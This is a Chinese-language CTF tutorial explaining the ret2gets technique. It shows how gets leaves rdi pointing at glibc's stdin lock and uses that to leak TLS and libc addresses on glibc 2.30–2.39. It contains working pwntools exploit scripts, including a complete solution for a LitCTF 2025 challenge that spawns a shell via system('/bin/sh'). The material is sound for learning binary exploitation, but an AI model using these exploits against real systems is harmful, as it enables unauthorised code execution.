ret2gets是一种利用glibc优化特性(高版本编译器)的漏洞利用技术,核心是通过gets
函数配合printf
/puts
实现libc地址泄露。该技术适用于:
1.存在栈溢出漏洞
2.程序包含gets
函数
3.缺乏直接控制rdi寄存器的gadget(如pop rdi; ret
)
技术原型参考: ret2gets | pwn-notesret2gets | pwn-notes演示程序:ret2gets_demo: https://pan.baidu.com/s/1rf8JEi1sGBZdM-MxpnjMTg?pwd=xidp 提取码: xidp
程序中 pop rdi; ret 的来源
// gcc demo.c -o demo -no-pie -fno-stack-protector#include <stdio.h>intmain() {char buf[0x20];puts("ROP me if you can!");gets(buf);}
我们正常会采用的方法很简单就是ret2libc
我们会利用gets的溢出,使用程序的里面的gadget来构造puts(func_got_addr)
来泄露某一函数在的libc地址从而获取libc基地址,再控制程序返回,再来一次溢出使用gadget构造system('/bin/sh')
以此来获得远程的shell。
但是对于这个程序编译之后我们会遇到一个问题,下面我们使用ROPgadget来查看一下我们可用的gadget。
$ ROPgadget --binary demoGadgets information============================================================0x00000000004010ab :add bh, bh ; loopne 0x401115 ; nop ; ret0x0000000000401037 :add byte ptr [rax], al ; add byte ptr [rax], al ; jmp 0x4010200x000000000040115f :add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret0x0000000000401078 :add byte ptr [rax], al ; add byte ptr [rax], al ; nop dword ptr [rax] ; ret0x0000000000401160 :add byte ptr [rax], al ; add cl, cl ; ret0x000000000040111a :add byte ptr [rax], al ; add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401039 :add byte ptr [rax], al ; jmp 0x4010200x0000000000401161 :add byte ptr [rax], al ; leave ; ret0x000000000040107a :add byte ptr [rax], al ; nop dword ptr [rax] ; ret0x0000000000401034 :add byte ptr [rax], al ; push 0 ; jmp 0x4010200x0000000000401044 :add byte ptr [rax], al ; push 1 ; jmp 0x4010200x0000000000401009 :add byte ptr [rax], al ; test rax, rax ; je 0x401012 ; call rax0x000000000040111b :add byte ptr [rcx], al ; pop rbp ; ret0x0000000000401162 :add cl, cl ; ret0x00000000004010aa :add dil, dil ; loopne 0x401115 ; nop ; ret0x0000000000401047 :add dword ptr [rax], eax ; add byte ptr [rax], al ; jmp 0x4010200x000000000040111c :add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401117 :add eax, 0x2f03 ; add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401118 :add ebp, dword ptr [rdi] ; add byte ptr [rax], al ; add dword ptr [rbp -0x3d], ebx ; nop ; ret0x0000000000401013 :add esp, 8 ; ret0x0000000000401012 :add rsp, 8 ; ret0x00000000004010a8 :and byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401115 ; nop ; ret0x0000000000401010 :call rax0x0000000000401133 :cli ; jmp 0x4010c00x0000000000401130 :endbr64 ; jmp 0x4010c00x000000000040100e :je 0x401012 ; call rax0x00000000004010a5 :je 0x4010b0 ; mov edi, 0x404020 ; jmp rax0x00000000004010e7 :je 0x4010f0 ; mov edi, 0x404020 ; jmp rax0x000000000040103b :jmp 0x4010200x0000000000401134 :jmp 0x4010c00x00000000004010ac :jmp rax0x0000000000401163 :leave ; ret0x00000000004010ad :loopne 0x401115 ; nop ; ret0x0000000000401116 :mov byte ptr [rip + 0x2f03], 1 ; pop rbp ; ret0x000000000040115e :mov eax, 0 ; leave ; ret0x00000000004010a7 :mov edi, 0x404020 ; jmp rax0x00000000004010af :nop ; ret0x000000000040112c :nop dword ptr [rax] ; endbr64 ; jmp 0x4010c00x000000000040107c :nop dword ptr [rax] ; ret0x00000000004010a6 :or dword ptr [rdi + 0x404020], edi ; jmp rax0x000000000040111d :pop rbp ; ret0x0000000000401036 :push 0 ; jmp 0x4010200x0000000000401046 :push 1 ; jmp 0x4010200x0000000000401016 :ret0x0000000000401042 :ret 0x2f0x0000000000401022 :retf 0x2f0x000000000040100d :sal byte ptr [rdx + rax -1], 0xd0 ; add rsp, 8 ; ret0x0000000000401169 :sub esp, 8 ; add rsp, 8 ; ret0x0000000000401168 :sub rsp, 8 ; add rsp, 8 ; ret0x000000000040100c :test eax, eax ; je 0x401012 ; call rax0x00000000004010a3 :test eax, eax ; je 0x4010b0 ; mov edi, 0x404020 ; jmp rax0x00000000004010e5 :test eax, eax ; je 0x4010f0 ; mov edi, 0x404020 ; jmp rax0x000000000040100b :test rax, rax ; je 0x401012 ; call raxUnique gadgets found:53
在以往我们想要构造函数调用,不论是puts(func_got_addr)
还是system('/bin/sh')
我们首先需要的一点就是控制rdi寄存器。
而我们往往是使用pop rdi;ret
这个gadget来控制rdi寄存器的,但是显然,上面的程序是没有的。
如果我们再仔细观察我们会发现其实下面这三个我们常用的gadget都没有了
pop rdi; retpop rsi; pop r15; retpop rbp; pop r12; pop r13; pop r14; ret
这是由于程序中的pop rdi ;ret
它大概的位置在<__libc_csu_init+99>: pop rdi
也就是说它存在于__libc_csu_init
这个函数中。
__libc_csu_init 的汇编0x0000000000400670 <+0>:push r150x0000000000400672 <+2>:push r140x0000000000400674 <+4>:mov r15d,edi0x0000000000400677 <+7>:push r130x0000000000400679 <+9>:push r120x000000000040067b <+11>:lea r12,[rip+0x20078e] # 0x600e100x0000000000400682 <+18>:push rbp0x0000000000400683 <+19>:lea rbp,[rip+0x20078e] # 0x600e180x000000000040068a <+26>:push rbx0x000000000040068b <+27>:mov r14,rsi0x000000000040068e <+30>:mov r13,rdx0x0000000000400691 <+33>:sub rbp,r12 0x0000000000400694 <+36>:sub rsp,0x8 0x0000000000400698 <+40>:sar rbp,0x3 0x000000000040069c <+44>:call 0x4004b0 <_init> 0x00000000004006a1 <+49>:test rbp,rbp 0x00000000004006a4 <+52>:je 0x4006c6 <__libc_csu_init+86> 0x00000000004006a6 <+54>:xor ebx,ebx 0x00000000004006a8 <+56>:nop DWORD PTR [rax+rax*1+0x0] 0x00000000004006b0 <+64>:mov rdx,r13 0x00000000004006b3 <+67>:mov rsi,r14 0x00000000004006b6 <+70>:mov edi,r15d 0x00000000004006b9 <+73>:call QWORD PTR [r12+rbx*8] 0x00000000004006bd <+77>:add rbx,0x1 0x00000000004006c1 <+81>:cmp rbx,rbp 0x00000000004006c4 <+84>:jne 0x4006b0 <__libc_csu_init+64> 0x00000000004006c6 <+86>:add rsp,0x8 0x00000000004006ca <+90>:pop rbx 0x00000000004006cb <+91>:pop rbp 0x00000000004006cc <+92>:pop r12 0x00000000004006ce <+94>:pop r13 0x00000000004006d0 <+96>:pop r14 0x00000000004006d2 <+98>:pop r15 0x00000000004006d4 <+100>:ret
我们观察它的汇编代码其实不难发现,它其中并未含有pop rdi ; ret
这个gadget其实它来自于pop r15;
的一部分。
对比下面字节码我们就可以知道,pop rdi; ret
的字节码和pop r15; ret
后半部分相同,所以把pop r15; ret
截下来一半就是pop rdi;ret。
pop r15 ; ret = 41 5f c3pop rdi ; ret = 5f c3
而在glibc 2.34 中pop rdi; ret
消失的根本原因是一个补丁移除了__libc_csu_init
的二进制生成。
该补丁旨在删除ret2csu
的有用 ROP 小工具,并具有删除针对 glibc 2.34+ 编译的二进制文件中的pop rdi ; ret
的效果。
这将导致一些问题,例如__libc_start_main
,它将__libc_csu_init
作为参数。现在它不存在,它仍然接受参数,但对它没有任何作用,所以它在 2.34 中被版本优化了,因为它现在有不同的行为。这意味着我们不能够在较旧的 glibc 版本上运行为 2.34+ 编译的二进制文件,否则你会得到非常烦人的错误, 如下:
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found
现在我们知道在程序中由于__libc_csu_init
函数被优化了,所以我们已经没办法在编译后的程序中找到pop rdi;ret
了。
但是没有关系,__libc_csu_init
并非是pop rdi;ret
的唯一来源,显然按照我们上面的解释,哪里有pop r15
那么哪里就会有pop rdi。
虽然程序中没有pop rdi
但是glibc自身含大量使用r15的函数,必存pop r15; ret
,泄露libc基址后,即可定位libc中的pop rdi; ret
偏移。
所以我们最大的问题还是需要溢出。
ret2gets原理和利用方法
让我们来调试一下我们的demo(glibc-2.35)
通过下图我们可以看到,在调用gets函数
之前我们的rdi寄存器
是指向了栈地址
我们使用n
步过call gets
然后我们就会观察发现rdi寄存器
变成了_IO_stdfile_0_lock
也就是下图的*RDI 0x7ffff7e1ba80 (_IO_stdfile_0_lock) ◂— 0
而_IO_stdfile_0_lock
其实是一个'锁',用来锁住FILE
这是因为我们的glibc是支持多线程的,因此我们需要保证线程安全,这意味着我们需要抵抗数据竞争,当多个线程可以同时使用相同的FILE结构,因此如果2个线程尝试同时使用一个FILE,这就叫竞争条件,这可能造成FILE的损坏。而我们使用锁来解决这个问题。
而我们重点需要关注一个叫做_IO_lock_t
的结构体
具体如下:
typedef struct {int lock;int cnt;void *owner;} _IO_lock_t;
实际上我们被优化后的gets函数
执行之后rdi寄存器
所指向的_IO_stdfile_0_lock
其实就是FILE结构体
的_IO_lock_t *_lock;
而这个结构体的里面的这个owner
在一定条件下它存储的是TLS的地址
, 而TLS的地址
和libc基地址
的偏移是固定的,所以如果我们可以控制程序流,那么我们可以采用下面思路:
1.执行一次gets
,这时rdi寄存器
指向这个_lock
2.我们再执行一次gets
,这样就可以往_lock
里面写东西用来填充,如果程序中有printf
我们甚至可以写入%p
等格式化字符串来泄露地址
3.如果我们是调用puts
那么在上面第二次gets
的时候就可以填充一些特定的东西
绕过一些检测,从而是的puts
可以输出存放在owner
中的TLS地址
由此我们已经知道大致的利用思路和漏洞的大概,下面就是通过源码分析来了解我们需要绕过什么保护从而达到我们想要的效果。
gets源码分析
_IO_stdfile_0_lock从哪来的
下面以gets的源码为例展开分析,源码地址gets(链接glibc为 2.35)
char *_IO_gets (char *buf){size_t count;int ch;char *retval; _IO_acquire_lock (stdin); // 对标准输入流stdin加锁,防止多线程环境下多个线程同时操作输入流导致数据竞争 ch = _IO_getc_unlocked (stdin); // 通过_IO_getc_unlocked无锁方式读取第一个字符// 若首字符是EOF(文件结束符或输入错误),直接返回NULL// 若首字符是换行符n,则count=0,表示空字符串if (ch == EOF) { retval = NULL;goto unlock_return; }if (ch == 'n') count = 0;else {/* This is very tricky since a file descriptor may be in the non-blocking mode. The error flag doesn't mean much in this case. We return an error only when there is a new error. */int old_error = stdin->_flags & _IO_ERR_SEEN; stdin->_flags &= ~_IO_ERR_SEEN; buf[0] = (char) ch; count = _IO_getline (stdin, buf + 1, INT_MAX, 'n', 0) + 1;if (stdin->_flags & _IO_ERR_SEEN) { retval = NULL;goto unlock_return; }else stdin->_flags |= old_error; } buf[count] = 0; retval = buf;unlock_return: _IO_release_lock (stdin);return retval;}
在函数的开头,它使用_IO_acquire_lock
,在函数结束时,它使用_IO_release_lock
。这个想法是, 获取锁会告诉其他线程stdin
当前正在使用中,并且尝试访问stdin
的任何其他线程将被迫等待,直到该线程释放锁,告诉其他线程stdin
不再使用。
_IO_acquire_lock
/_IO_release_lock
这些stdio-lock.h - sysdeps/nptl/stdio-lock.h - Glibc source code glibc-2.35 - Bootlin Elixir Cross Referencer(https://elixir.bootlin.com/glibc/glibc-2.35/source/sysdeps/nptl/stdio-lock.h#L88)如下:
# define _IO_acquire_lock(_fp) do { FILE *_IO_acquire_lock_file __attribute__((cleanup (_IO_acquire_lock_fct))) = (_fp); _IO_flockfile (_IO_acquire_lock_file);# else# ...# endif# define _IO_release_lock(_fp) ; } while (0)
从中可以得出_IO_flockfile(https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libio.h#L282)
和_IO_acquire_lock_fct(https://elixir.bootlin.com/glibc/glibc-2.35/source/libio/libio.h#L284)
两个重要功能。
__attribute__((cleanup))
可能看起来很奇怪,但它所做的只是在人工do-while(0)
块结束时(基本上在 IO 函数结束时)在_fp
上调用_IO_acquire_lock_fct
staticinline void__attribute__ ((__always_inline__))_IO_acquire_lock_fct (FILE **p){ FILE *fp = *p;if ((fp->_flags & _IO_USER_LOCK) == 0) _IO_funlockfile (fp);}
用于锁定和解锁的 2 个宏是_IO_flockfile和_IO_funlockfile。
# define _IO_flockfile(_fp) if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_lock (*(_fp)->_lock)# define _IO_funlockfile(_fp) if (((_fp)->_flags & _IO_USER_LOCK) == 0) _IO_lock_unlock (*(_fp)->_lock)
_IO_USER_LOCK=0x8000
是一个宏,它似乎表明是否应该使用内置锁定。这通常在内部使用,例如在printf
中的帮助程序流中,这通常在内部使用,例如在printf
中的帮助程序流中。但是不重要我们学习ret2gets需要了解这些,因为此检查将始终通过stdin
(或任何与此相关的标准流)。最后,我们来看看我们关心的宏:_IO_lock_lock
和_IO_lock_unlock
。
_IO_lock_lock和_IO_lock_unlock定义为:
#define _IO_lock_lock(_name) do { void *__self = THREAD_SELF; if ((_name).owner != __self) { lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self; } ++(_name).cnt; } while (0)#define _IO_lock_unlock(_name) do { if (--(_name).cnt == 0) { (_name).owner = NULL; lll_unlock ((_name).lock, LLL_PRIVATE); } } while (0)
请注意,_name
就是锁本身(也就是我们刚刚说的_IO_lock_t *_lock
),在gets
的情况下,也就是_IO_stdfile_0_lock
。
如果owner
与THREAD_SELF
不同(即 lock 由不同的线程拥有),它会等待该线程使用lll_lock
解锁,然后声明锁的所有权。解锁时,它会删除其所有权,并发出信号表明它不再与lll_unlock
一起使用。
观察源码可知_IO_lock_unlock
是大多数IO函数
(包括gets
)的末尾调用的内容,所以它是返回之前最后一个对寄存器有影响的函数,所以探究rdi寄存器
为什么保存_IO_stdfile_0_lock
就需要从这个函数入手。
直接观察gets函数结尾,我们发现gets函数最后退出的时候是不会改变rdi寄存器的
这里是gets调用_IO_lock_unlock
的部分汇编代码
这部分代码中rbp
存储了stdin
的地址,因此0x080656
这里的test
是检查_IO_USER_LOCK_
0x08065F
地址处是rbp+0x88
我们知道_Lock
就存储在FILE
结构体(stdin就属于FILE结构体)的0x88偏移处
这里展示一下FILE结构体
struct _IO_FILE {int _flags; //用来表示当前用于存储与文件流相关的标志,比如:当前文件流是有缓冲还是无缓冲,文件流是否支持读取,文件流是否遇到了错误等等具体在下面有所列举#define _IO_file_flags _flags/* The following pointers correspond to the C++ streambuf protocol. *//* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */char* _IO_read_ptr; //指向当前读取位置的指针char* _IO_read_end; //指向读取缓冲区结束位置的指针char* _IO_read_base; //指向读取缓冲区开始位置的指针,通常三个一起使用来进行数据的读取操作,其中base和end分别标记了起始和终点的位置,ptr则进行数据的遍历。char* _IO_write_base; //指向当前写入位置的指针。char* _IO_write_ptr; //指向写入缓冲区结束位置的指针。char* _IO_write_end; //指向写入缓冲区结束位置的指针。同上三个一起完成数据的写入操作。char* _IO_buf_base; //指向整个缓冲区(包括读取和写入缓冲区)开始位置的指针。char* _IO_buf_end; //指向整个缓冲区结束位置的指针。/* The following fields are used to support backing up and undo. */char *_IO_save_base; //指向旧读取区域的开始位置的指针,用于标记/回退功能。char *_IO_backup_base; //指向备份区域的第一个有效字符的指针。char *_IO_save_end; //指向非当前读取区域的结束位置的指针。struct _IO_marker *_markers; //指向文件流的标记链表的头指针,用于流中的标记和定位。struct _IO_FILE *_chain; //指向下一个 _IO_FILE 结构体的指针,用于维护一个文件流链表。int _fileno; //存储与此文件流相关联的文件描述符。#if 0int _blksize; #elseint _flags2; //存储与此文件流相关联的文件描述符。#endif _IO_off_t _old_offset; //存储旧的文件偏移量,用于定位操作#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */unsignedshort _cur_column; //存储旧的文件偏移量,用于定位操作signedchar _vtable_offset; //存储虚拟函数表(vtable)的偏移量。char _shortbuf[1]; //一个小型的字符数组,用于在没有分配完整缓冲区时的简单操作。/* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; //指向互斥锁的指针,用于线程安全。 # 最后gets执行结束之后rdi就是指向这里#ifdef _IO_USE_OLD_IO_FILE};
所以这里rdi
变成了stdin._lock
也就是变成了_IO_stdfile_0_lock
具体信息可通过下图gdb调试来得到,现在我们知道了_IO_stdfile_0_lock
的来源
注意在_IO_lock_unlock
函数结束后下面还有一个__lll_lock_wait_private
函数,但是没有关系,因为这个函数并不会破坏rdi
为什么_IO_stdfile_0_lock要放入到rdi寄存器里面
上面我们分析的_IO_stdfile_0_lock
的来源,但是为什么要把_lock
会被加载到RDI
中?
猜测这是编译器优化的结果,在调用lll_unlock
的情况下,_lock
的地址作为唯一的参数直接传递给futex
包装器(即通过rdi
寄存器)。因此,它将_lock
加载到rdi
中,这样它就不需要使用额外的assignment
来准备对futex
的调用,例如mov rdi, [register containing _lock]
,从而节省了空间和时间。
下面来看一下2.30之前的glibc中的_IO_lock_unlock
上图是glibc-2.29的_IO_lock_unlock
函数
我们可以看到它不是将其加载到rdi
中,而是使用mov rdx,[rbp+0x88]
将其加载到rdx
中,然后使用lea rdi,[rdx]
加载到rdi
中,这也说明_lock
只有在非常特定的条件下才会被加载到rdi
中,所以ret2gets并非在所有版本的glibc中都使用,它可能仅在部分高版本中适用。
ret2gets的具体利用方法
上面就是gets函数源码的大致流程,那么通过分析我们就知道我们需要绕过的检测其实就是_IO_lock_lock
和_IO_lock_unlock
两个函数。
#define _IO_lock_lock(_name) do { void *__self = THREAD_SELF; if ((_name).owner != __self) { lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self; } ++(_name).cnt; } while (0)#define _IO_lock_unlock(_name) do { if (--(_name).cnt == 0) { (_name).owner = NULL; lll_unlock ((_name).lock, LLL_PRIVATE); } } while (0)
1.由于_IO_lock_unlock
有一个--(_name).cnt == 0
一旦这个判断成功那么我们的owner
就会变成NULL
我们就无法再后续的puts
中拿到TLS地址
,也就是说我们需要覆盖_IO_lock_t
结构体的cnt
不能为1
2.我们需要注意_IO_lock_t
结构体 在owner参数
之前不能有x00
否则puts
输出的时候会被截断
3.我们输入的数据第五个字节会被减去1
(也就是cnt会被减去1)
对于第三条我们依旧使用之前的这个例子来证明
int main() { char buf[0x20];puts("ROP me if you can!");gets(buf);}
from pwn import *e = context.binary = ELF('demo')p = e.process()# 由于最后一个调用的函数是gets,所以最后main函数返回的时候 rdi 就是指向我们的 _IO_lock_t 结构体地址# 所以我们只需要溢出之后调用一次gets就可以往 _IO_lock_t 里面写入东西了payload = b"A" * 0x20payload += p64(0)# saved rbppayload += p64(e.plt.gets)p.sendlineafter(b"ROP me if you can!n", payload)gdb.attach(p)p.sendline(b"/bin" + p8(u8(b"/")+1) + b"sh")# 这里第五个字节会被-1所以传入的时候需要+1# 我们传入 /bin0sh 字符串p.interactive()
下面进入调试看看我们打入的bin0sh字符串
会如何变化 (下面这是两张截图拼一起了,看起来有点怪,将就一下)
总之我们可以知道,我们的第五个字符会被减去1
所以如果我们希望利用puts函数
来泄露出owner
中存储的TLS地址
那么我们可以使用下面这个payload。
p.sendline(b"A" * 4 + b"x00"*3)# 这里填充 x00x00x00 开头本来就是x00
而这个payload会让我们的_IO_lock_t
结构体中的lock
赋值为AAAA
而将cnt
变为x00x00x00x00
这个时候cnt-1
反而会让x00x00x00x00
通过整数溢出变成xffxffxffxff
这样我们就可以顺利绕过x00
导致的puts函数
输出的截断了
所以上述例子泄露TLS地址的exp如下:
# glibc-2.30 to glibc-2.36from pwn import *e = context.binary = ELF('demo')libc = ELF("libc")p = e.process()payload = b"A" * 0x20payload += p64(0)# saved rbppayload += p64(e.plt.gets)payload += p64(e.plt.puts)p.sendlineafter(b"ROP me if you can!n", payload)p.sendline(b"A" * 4 + b"x00"*3)p.recv(8)tls = u64(p.recv(6) + b"x00x00")log.info(f"tls: {hex(tls)}")libc.address = tls + 0x28c0log.info(f"libc: {hex(libc.address)}")p.interactive()
上述exp在 2.35 上进行了测试,应该适用于 2.30-2.36,但 2.37 将_IO_lock_lock和_IO_lock_unlock更改为:
#define _IO_lock_lock(_name) do { void *__self = THREAD_SELF; if (SINGLE_THREAD_P && (_name).owner == NULL) { (_name).lock = LLL_LOCK_INITIALIZER_LOCKED; (_name).owner = __self; } else if ((_name).owner != __self) { lll_lock ((_name).lock, LLL_PRIVATE); (_name).owner = __self; } else ++(_name).cnt; } while (0)#define _IO_lock_unlock(_name) do { if (SINGLE_THREAD_P && (_name).cnt == 0) { (_name).owner = NULL; (_name).lock = 0; } else if ((_name).cnt == 0) { (_name).owner = NULL; lll_unlock ((_name).lock, LLL_PRIVATE); } else --(_name).cnt; } while (0)
仅当cnt != 0
时,cnt
才会递减
这就导致我们没有办法再利用整数溢出
来绕过x00
带来的截断
但是没有关系,我们依旧有办法解决
# glibc-2.37 to glibc-2.39 更高版本未进行尝试from pwn import *e = context.binary = ELF('demo')libc = ELF("libc")p = e.process()payload = b"A" * 0x20payload += p64(0)# saved rbppayload += p64(e.plt.gets)payload += p64(e.plt.gets)payload += p64(e.plt.puts)p.sendlineafter(b"ROP me if you can!n", payload)p.sendline(p32(0) + b"A"*4 + b"B"*8)p.sendline(b"CCCC")p.recv(8)tls = u64(p.recv(6) + b"x00x00")log.info(f"tls: {hex(tls)}")libc.address = tls + 0x28c0log.info(f"libc: {hex(libc.address)}")p.interactive()
我们来对着上面这个exp调试一下
溢出之后的第一次gets,我们输入了x00x00x00x00AAAABBBBBBBB
而第一个A-1
变成了0x40
溢出之后的第二次gets,我们输入了CCCC
并且将原本的0x40
覆盖成了字符串终止符x00
(注意这还没有结束)
最后执行我们执行cnt-1
我们发现原本的0x41414100
变成了0x414140ff
我们依旧是完美的绕过了x00
以及各种检测。
额外的情况发生了怎么办呢?
下面我们探讨一个新问题:
虽然我们拥有gets
但是最后程序结束的时候rdi != _IO_stdfile_0_lock
怎么办
比如下面这个例子
#include <stdio.h>int main() { char buf[0x20];puts("ROP me if you can!");gets(buf);func(); // 未知函数,执行之后不知道 rdi 会是什么}
那么会有以下几种情况:
1.rdi
虽然不是_IO_stdfile_0_lock
但是依旧可写这种情况很简单,溢出之后调用一次gets,rdi
就变成_IO_stdfile_0_lock
然后思路后续还是一样的思路,2.30-2.36调用gets然后调用puts泄露,2.37+则调用两次gets再调用puts
2.rdi
不可写了,但是可读没办法调用gets了,但是我们可以考虑直接使用puts是否会有效果
3.rdi == NULL
大多数IO函数已经没办法使用了,但是printf
依旧可用printf定义如下:
int__printf (const char *format, ...){ va_list arg; int done; va_start (arg, format); done = __vfprintf_internal (stdout, format, arg, 0); va_end (arg);return done;}
在源码中我们可以看到它调用了__vfprintf_internal
这个函数,并且第一个参数为stdout
, 这意味着rdi
寄存器将指向stdout
然后在__vfprintf_internal中,我们看到它在早期调用ARGCHECK
intvfprintf (FILE *s, const CHAR_T *format, va_list ap, unsignedint mode_flags){ .../* Sanity check of arguments. */ARGCHECK (s, format);
#define ARGCHECK(S, Format) do { /* Check file argument for consistence. */ CHECK_FILE (S, -1); if (S->_flags & _IO_NO_WRITES) { S->_flags |= _IO_ERR_SEEN; __set_errno (EBADF); return -1; } if (Format == NULL) { __set_errno (EINVAL); return -1; } } while (0)
通过上面代码我们不难得到结论,如果format == NULL
那么printf函数
会被强制返回,也就是说并不会导致错误,而且由于__vfprintf_internal
的第一个参数为stdout
也就是说强制返回的时候rdi
将指向stdout
下面我们来写一段代码验证。
// gcc -Wno-nonnull -Wno-format-overflow -o printf_test printf_test.c#include <stdio.h>intmain() { printf(NULL);}
显然,我们的结论是成立的
那么也就是说这里我们可以再次调用gets,然后就可以控制_IO_2_1_stdout_
熟悉IO的师傅应该可以知道,控制了这个之后如果条件允许我们是可以打FSOP
的,当然这里不详细展开。
当然还有别的情况,这里不在过多介绍,感兴趣的师傅可以看看我参考的文章讲解的更加详细。
下面推荐一个题目是2025 LitCTF
的master of rop
[LitCTF 2025]master_of_rop | NSSCTF
懒得分析了,直接贴exp
但是很怪,本地打不通,远程却可以通
from xidp import *#---------------------初始化----------------------------arch = 64 elf_os = 'linux'challenge = "./pwn2"libc_path = './libc.so.6'ip = 'node4.anna.nssctf.cn:28093'# 1-远程 其他-本地link = 1io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)debug(0) # 其他-debug 1-info# context.terminal = ['tmux', 'splitw', '-h']#---------------------初始化-----------------------------#---------------------debug------------------------------# 自定义cmdcmd = """ set follow-fork-mode parentn """# 断点bps = []#---------------------debug-------------------------------gets_plt = elf.plt['gets']puts_plt = elf.plt['puts']leak("gets_plt")leak("puts_plt")main_addr = 0x04011AD payload = b"A" * 0x28payload += p64(gets_plt)payload += p64(gets_plt)payload += p64(puts_plt)payload += p64(main_addr)io.sendlineafter(b"Welcome to LitCTF2025!n", payload)io.sendline(p32(0) + b"A"*4 + b"B"*8)io.sendline(b"CCCC")io.recv(8)tls = u64(io.recv(6) + b"x00x00")leak("tls")libc_base = tls + 0x28c0leak("libc_base")system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + next(libc.search(b"/bin/sh"))pop_rdi_ret = libc_base + 0x000000000010f75b#: pop rdi; ret;ret = libc_base + 0x000000000002882f#: ret;payload = b"A" * 0x28 payload += p64(pop_rdi_ret) payload += p64(bin_sh_addr) payload += p64(ret) payload += p64(system_addr)# pwndbg(1, bps, cmd)io.sendlineafter(b"Welcome to LitCTF2025!n", payload)ia()
参考:ret2gets | pwn-notes(https://sashactf.gitbook.io/pwn-notes/pwn/rop-2.34+/ret2gets#sidenote-on-finding-locking-functions)
看雪ID:XiDP
https://bbs.kanxue.com/user-home-1005607.htm
#
原文始发于微信公众号(看雪学苑):Ret2gets 的原理与利用方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论